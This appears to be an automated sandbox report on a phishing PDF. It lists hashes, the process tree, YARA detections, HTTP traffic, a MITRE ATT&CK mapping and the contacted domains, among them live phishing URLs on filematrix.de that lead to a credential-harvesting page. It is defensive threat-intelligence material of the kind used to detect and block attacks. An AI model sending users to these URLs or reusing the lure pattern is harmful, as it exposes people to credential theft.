Edit tour

Windows Analysis Report
t8f2gm11IC.pdf

Overview

General Information

Sample name:	t8f2gm11IC.pdf (renamed file extension from none to pdf, renamed because original name is a hash value)
Original sample name:	89c25973b0a7414dbdd04dc2282e57b5844978cc
Analysis ID:	1644499
MD5:	b4110abf75ace41caef99b0dd4e10f28
SHA1:	89c25973b0a7414dbdd04dc2282e57b5844978cc
SHA256:	6995af89e5b19e34aee11ecef894b61cc73d070ab058c4a6f3e3852a2ad42f53
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Phishing site or detected (based on various text indicators)

Suspicious PDF detected (based on various text indicators)

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid T&C link found

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7444 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\t8f2gm11IC.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7712 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2232 --field-trial-handle=1568,i,2108883186850817229,9675718894987513652,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 8904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2764,i,1877511034241017931,16074080379459889878,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4932 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://inexcessco.filematrix.de/3Z6LC" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/116951644:1742480032:40wOJ2IgVIn2V65IWJRvPf9Qpxd_X2kOswqtovYudr8/923624ed89078c1d/jSPbgMiPzjKYSeLkzkf5.RS16C4zNz5uOgCWd96hLBs-1742483509-1.1.1.1-aviktczk7nuAgKCPpLNKXtIfCFuKR8KDfni6Kf1VjQosuvgeauUL1IzJFhWJbAnj HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3752sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: jSPbgMiPzjKYSeLkzkf5.RS16C4zNz5uOgCWd96hLBs-1742483509-1.1.1.1-aviktczk7nuAgKCPpLNKXtIfCFuKR8KDfni6Kf1VjQosuvgeauUL1IzJFhWJbAnjcf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/c9wks/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 53Access-Control-Allow-Origin: Access-Control-Expose-Headers: Timing-Allow-Origin: *Cache-Control: public, max-age=600, s-maxage=600Cross-Origin-Resource-Policy: cross-originX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadContent-Type: text/plain; charset=utf-8ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4"Accept-Ranges: bytesAge: 462Date: Thu, 20 Mar 2025 15:11:47 GMTX-Served-By: cache-fra-etou8220171-FRA, cache-lga21986-LGAX-Cache: HIT, MISSVary: Accept-Encodingalt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 15:11:50 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MGpxJYDMnOxbdTsnjlqankIfjTEua%2BTEmZcl%2BZiu8tLYjxJ8Muz39E%2BK7MUZ6DsoI9sgRb5nzXB41NX6FKLSZDeWDkBFTmVM3zrIn0CWGkRwzsPhn8IVCwnF5e5uvCe%2Fs7Qj3E5%2Fh7NgdSI%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 923624f49c0a7864-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=102110&min_rtt=100446&rtt_var=22862&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1235&delivery_rate=37030&cwnd=247&unsent_bytes=0&cid=d363a025d4f902bc&ts=428&x=0"

Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_218.15.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: 2D85F72862B55C4EADD9E66E06947F3D0.2.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_209.15.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_202.15.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_209.15.dr, chromecache_202.15.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_209.15.dr, chromecache_202.15.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: t8f2gm11IC.pdf	String found in binary or memory: https://inexcessco.filematrix.de/3Z6LC)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.211:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.211:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.193.229:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.128.193.190:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.201.129:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.201.1:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.211:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.6:49750 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir8904_181958517

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir8904_181958517

Jump to behavior

Source: classification engine

Classification label: mal64.phis.winPDF@42/85@38/18

Source: t8f2gm11IC.pdf	Initial sample: https://inexcessco.filematrix.de/3Z6LC
Source: t8f2gm11IC.pdf	Initial sample: https://inexcessco.filematrix.de/3z6lc

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7528

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-03-20 11-11-12-567.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\t8f2gm11IC.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2232 --field-trial-handle=1568,i,2108883186850817229,9675718894987513652,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2764,i,1877511034241017931,16074080379459889878,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://inexcessco.filematrix.de/3Z6LC"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2232 --field-trial-handle=1568,i,2108883186850817229,9675718894987513652,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2764,i,1877511034241017931,16074080379459889878,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: t8f2gm11IC.pdf	Initial sample: PDF keyword /JS count = 0
Source: t8f2gm11IC.pdf	Initial sample: PDF keyword /JavaScript count = 0
Source: A91rvkskr_1utocgy_5t4.tmp.0.dr	Initial sample: PDF keyword /JS count = 0
Source: A91rvkskr_1utocgy_5t4.tmp.0.dr	Initial sample: PDF keyword /JavaScript count = 0

Source: t8f2gm11IC.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	Path Interception	1 Process Injection	11 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
t8f2gm11IC.pdf	5%	Virustotal		Browse

Source	Detection	Scanner	Label
https://inexcessco.filematrix.de/3Z6LC	0%	Avira URL Cloud	safe
https://inexcessco.filematrix.de/favicon.ico	0%	Avira URL Cloud	safe
https://inexcessco.filematrix.de/3Z6LC)	0%	Avira URL Cloud	safe
https://5437776170-1317754460.cos.ap-bangkok.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://gplr.filematrix.de/google.php	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
inexcessco.filematrix.de	104.21.60.211	true	true	unknown
jsdelivr.map.fastly.net	151.101.193.229	true	false	high
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
gplr.filematrix.de	172.67.201.129	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	23.209.72.9	true	false	high
e8652.dscx.akamaiedge.net	104.76.101.49	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
cos.ap-bangkok.myqcloud.com	43.128.193.190	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
resc.cloudinary.com.cdn.cloudflare.net	104.17.202.1	true	false	high
www.google.com	142.251.40.132	true	false	high
res.cloudinary.com	unknown	unknown	false	high
5437776170-1317754460.cos.ap-bangkok.myqcloud.com	unknown	unknown	false	unknown
x1.i.lencr.org	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://5437776170-1317754460.cos.ap-bangkok.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
